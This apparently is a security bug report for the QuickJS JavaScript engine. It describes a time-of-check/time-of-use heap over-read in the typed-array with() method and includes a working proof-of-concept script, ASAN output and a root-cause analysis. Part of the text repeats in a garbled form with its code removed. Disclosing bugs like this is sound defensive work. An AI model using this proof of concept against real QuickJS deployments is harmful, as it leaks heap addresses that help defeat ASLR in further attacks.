Description
It is a TOCTOU vulnerability. js_typed_array_with() captures len = p->u.array.count before calling JS_ToPrimitive() on the replacement value. A valueOf callback can shrink the backing Resizable ArrayBuffer (RAB) via ab.resize(). The stale len is then passed to js_typed_array_constructor_ta(), which performs a memcpy of stale_len * element_size bytes from the now-smaller source buffer. This results in a heap buffer over-read that leaks arbitrary heap data into JavaScript-visible values.
Environment
- QuickJS version: 2025-09-13
- Commit:
f113949 (regexp: removed alloca() ...)
- OS: macOS 15.4 arm64 (Darwin 25.2.0), also reproducible on Linux x86_64
- Compiler: Apple clang 17.0.0 (clang-1700.6.4.2)
- Build: Both release (
-O2) and ASAN builds affected
How to Reproduce
# Clone and checkout the affected version
git clone https://github.com/nickg/quickjs.git && cd quickjs
git checkout f113949
# Build ASAN-enabled qjs
make CONFIG_ASAN=y qjs
# This adds: -fsanitize=address -fno-omit-frame-pointer
# Run POC — triggers heap-buffer-overflow READ
./qjs poc_ta_with.js
POC (minimal)
var ab = new ArrayBuffer(4096, { maxByteLength: 4096 });
var ta = new Int32Array(ab);
for (var i = 0; i < ta.length; i++) ta[i] = 0x42424242;
var result = ta.with(0, {
valueOf() {
ab.resize(4); // shrink from 4096 to 4 bytes
return 999;
}
});
// result is a new Int32Array with 1024 elements
// Elements [1..1023] contain heap data leaked from beyond the 4-byte allocation
print("result.length =", result.length); // 1024
for (var i = 0; i < 10; i++) {
print("result[" + i + "] = 0x" + (result[i] >>> 0).toString(16));
}
ASAN Output
=================================================================
==39111==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000854 at pc 0x00010596f1fc bp 0x00016ae21010 sp 0x00016ae207c0
READ of size 4096 at 0x602000000854 thread T0
#0 0x00010596f1f8 in __asan_memcpy+0x400 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3b1f8)
#1 0x00010516a604 in js_typed_array_constructor_ta quickjs.c:58144
#2 0x00010516e940 in js_typed_array_with quickjs.c:56624
#3 0x000104fdfa00 in js_call_c_function quickjs.c:17234
#4 0x000105012ba4 in JS_CallInternal quickjs.c:17429
#5 0x000105015c24 in JS_CallInternal quickjs.c:17833
#6 0x0001050346b4 in JS_EvalFunctionInternal quickjs.c:36559
#7 0x00010504be2c in __JS_EvalInternal quickjs.c:36692
#8 0x000105034f08 in JS_EvalThis quickjs.c:36752
#9 0x000104fddbd4 in eval_buf qjs.c:66
#10 0x000104fdd338 in main qjs.c:519
0x602000000854 is located 0 bytes after 4-byte region [0x602000000850,0x602000000854)
allocated by thread T0 here:
#0 0x000105971520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000105055bec in js_def_realloc quickjs.c:1782
#2 0x00010516c2f4 in js_array_buffer_resize quickjs.c:56203
#3 0x000104fdfca4 in js_call_c_function quickjs.c:17247
#4 0x000105012ba4 in JS_CallInternal quickjs.c:17429
#5 0x000105015c24 in JS_CallInternal quickjs.c:17833
#6 0x0001050659ec in JS_ToPrimitiveFree quickjs.c:10698
#7 0x00010516e8e4 in js_typed_array_with quickjs.c:56617
#8 0x000104fdfa00 in js_call_c_function quickjs.c:17234
SUMMARY: AddressSanitizer: heap-buffer-overflow quickjs.c:58144 in js_typed_array_constructor_ta
The stack trace clearly shows: js_typed_array_with (line 56624) → js_typed_array_constructor_ta (line 58144, the memcpy), with the resize happening in js_array_buffer_resize (line 56203) triggered from JS_ToPrimitiveFree (line 10698, the valueOf callback).
The 0 bytes after 4-byte region confirms the source buffer was shrunk from 4096 to just 4 bytes, but the memcpy still reads 4096 bytes.
Root Cause
In quickjs.c, function js_typed_array_with():
Line 56610: len = p->u.array.count; // captures stale length (e.g., 1024)
Line 56617: val = JS_ToPrimitive(ctx, ...); // valueOf callback → ab.resize(4) shrinks RAB
Line 56621: if (typed_array_is_oob(p)) ... // returns FALSE for track_rab TypedArrays
Line 56636: js_typed_array_constructor_ta(ctx, ..., p, len, ...); // passes stale len=1024
Inside js_typed_array_constructor_ta():
Line 58144: memcpy(abuf->data, src_abuf->data + ta->offset, abuf->byte_length);
// Reads 1024*4 = 4096 bytes from a 4-byte source allocation
The typed_array_is_oob() check at line 56621 returns FALSE for TypedArrays with track_rab = TRUE (line 56342-56343), allowing the stale length to pass through unchecked.
Impact
It will leak heap pointers (JSObject*, JSString*, shape pointers, allocator metadata) which will defeat address space layout randomization.
Description
It is a TOCTOU vulnerability.
js_typed_array_with()captureslen = p->u.array.countbefore callingJS_ToPrimitive()on the replacement value. AvalueOfcallback can shrink the backing Resizable ArrayBuffer (RAB) viaab.resize(). The stalelenis then passed tojs_typed_array_constructor_ta(), which performs amemcpyofstale_len * element_sizebytes from the now-smaller source buffer. This results in a heap buffer over-read that leaks arbitrary heap data into JavaScript-visible values.Environment
f113949(regexp: removed alloca() ...)-O2) and ASAN builds affectedHow to Reproduce
POC (minimal)
ASAN Output
The stack trace clearly shows:
js_typed_array_with(line 56624) →js_typed_array_constructor_ta(line 58144, thememcpy), with the resize happening injs_array_buffer_resize(line 56203) triggered fromJS_ToPrimitiveFree(line 10698, thevalueOfcallback).The
0 bytes after 4-byte regionconfirms the source buffer was shrunk from 4096 to just 4 bytes, but thememcpystill reads 4096 bytes.Root Cause
In
quickjs.c, functionjs_typed_array_with():Inside
js_typed_array_constructor_ta():The
typed_array_is_oob()check at line 56621 returnsFALSEfor TypedArrays withtrack_rab = TRUE(line 56342-56343), allowing the stale length to pass through unchecked.Impact
It will leak heap pointers (JSObject*, JSString*, shape pointers, allocator metadata) which will defeat address space layout randomization.